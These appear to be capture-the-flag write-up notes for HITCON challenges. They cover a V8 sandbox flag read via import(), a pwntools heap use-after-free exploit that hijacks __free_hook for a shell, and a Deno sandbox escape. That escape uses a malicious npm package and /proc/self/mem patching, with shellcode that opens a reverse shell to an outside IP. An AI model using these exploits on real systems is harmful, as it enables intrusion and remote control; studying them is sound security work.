not banned import
and flag could be readable.
root@racknerd-37b9af:~# nc v8sbx.chal.hitconctf.com 1337
Length:
24
JS script:
import('/home/ctf/flag')
/home/ctf/flag:1: SyntaxError: Unexpected token '{'
hitcon{Modifying_TPT_A1l0w5_u_t0_easi1y_escape_the_sandb0x}
^
SyntaxError: Unexpected token '{'
/home/ctf/flag:1: SyntaxError: Unexpected token '{'
hitcon{Modifying_TPT_A1l0w5_u_t0_easi1y_escape_the_sandb0x}
^
SyntaxError: Unexpected token '{'
1 pending unhandled Promise rejection(s) detected.
^C
^C
https://mem2019.github.io/jekyll/update/2024/07/14/HITCON.html
UAF vuln in del user
when the linked list contains only one node.
#!/usr/bin/python2
from pwn import *
context.bits = 64
libc = ELF('libc-2.31.so')
rc = lambda n : io.recv(n)
sa = lambda a, b : io.sendafter(a, b)
sla = lambda a, b : io.sendlineafter(a, b)
ia = lambda : io.interactive()
uu64 = lambda x : u64(x.ljust(8, '\\x00'))
heap_os = lambda x : heap_base + x
def menu(choice):
sla('> ', str(choice))
def re0():
menu(0)
def re1():
menu(1)
def add(username, password):
menu(2)
sa('username > ', username)
sa('password > ', password)
def delete(username):
menu(3)
sa('username > ', username)
def change(username, password):
menu(4)
sa('username > ', username)
sa('password > ', password)
def show():
menu(5)
io = remote('setjmp.chal.hitconctf.com', 1337)
delete('root')
show()
rc(2)
heap_base = uu64(rc(6)) - 0x10
add('133nson', '133nson')
add('233nson', '233nson')
delete('233nson')
delete('133nson')
change(flat(heap_os(0x540)), flat(0xdeadbeef))
delete(flat(heap_os(0x540)))
add(flat(heap_os(0x530)), flat(0xdeadbeef))
add('133nson', '133nson')
add('victim', flat(0x431))
for i in range(21):
add(str(i), str(i))
add(flat(0x430), flat(0x21))
re0()
add('133nson', '133nson')
delete('133nson')
delete('root')
change(flat(heap_os(0xb60)), flat(0xdeadbeef))
delete(flat(heap_os(0xb60)))
add(flat(heap_os(0x540)), flat(0xdeadbeef))
add('133nson', '133nson')
add('victim', 'victim')
delete('victim')
add('a', 'a')
show()
rc(8)
libc_base = uu64(rc(6)) - 0x1ecf61
sys_addr = libc_base + libc.sym['system']
fh_addr = libc_base + libc.sym['__free_hook']
re0()
add('133nson', '133nson')
delete('133nson')
delete('root')
change(flat(heap_os(0x740)), flat(0xdeadbeef))
delete(flat(heap_os(0x740)))
add(flat(fh_addr), flat(0xdeadbeef))
add('/bin/sh\\x00', '133nson')
add(flat(sys_addr), '\\x00')
delete('/bin/sh\\x00')
ia()
# hitcon{fr0m-H3ap-jum9-2-system}
The vulnerable fragment of code:
const module = await import(`npm:${packageName}/package.json`, {
with: {
type: "json",
},
});
We could make the following NPM package to execute an arbitrary code:
{
"name": "long-random-package-name",
"version": "0.0.1",
"type": "module",
"exports": {
"./package.json": "./index.js"
}
}
The flag is located at /readflag
with only x
-bits set. We have only --allow-read --allow-write --allow-env
Deno privileges without --allow-run
, so we need to escalate privileges somehow. The idea is to patch the code of running Deno process by writing to /proc/self/map
. However, it’s disallowed by Deno to read or write to /proc
directly, so we use symlinks.
await Deno.remove("/tmp/mapslink").catch(() => {});
await Deno.symlink("/proc/self/maps", "/tmp/mapslink");
const maps = await Deno.readTextFile("/tmp/mapslink");
const base = parseInt(
maps
.split("\\n")
.find((x) => x.includes("deno") && x.includes("r-x"))
.split("-")[0],
16,
);
await Deno.remove("/tmp/memlink").catch(() => {});
await Deno.symlink("/proc/self/mem", "/tmp/memlink");
const fd = await Deno.open("/tmp/memlink", { write: true });
const offset = 0x5555595702c0 - 0x5555580be000; // JSON.stringify
fd.seek(base + offset, Deno.SeekMode.Start);
const shellcode = new Uint8Array([
72, 49, 192, 72, 49, 255, 72, 49, 246, 72, 49, 210, 77, 49, 192, 106, 2, 95, 106, 1, 94, 106, 6, 90, 106, 41, 88,
15, 5, 73, 137, 192, 72, 49, 246, 77, 49, 210, 65, 82, 198, 4, 36, 2, 102, 199, 68, 36, 2, 5, 208, 199, 68, 36, 4,
95, 216, 213, 223, 72, 137, 230, 106, 16, 90, 65, 80, 95, 106, 42, 88, 15, 5, 72, 49, 246, 106, 3, 94, 72, 255, 206,
106, 33, 88, 15, 5, 117, 246, 72, 49, 255, 87, 87, 94, 90, 72, 191, 47, 47, 98, 105, 110, 47, 115, 104, 72, 193,
239, 8, 87, 84, 95, 106, 59, 88, 15, 5
]);
await fd.write(shellcode);
JSON.stringify("");
npm publish
, pwn, npm unpublish long-random-package-name --force
, done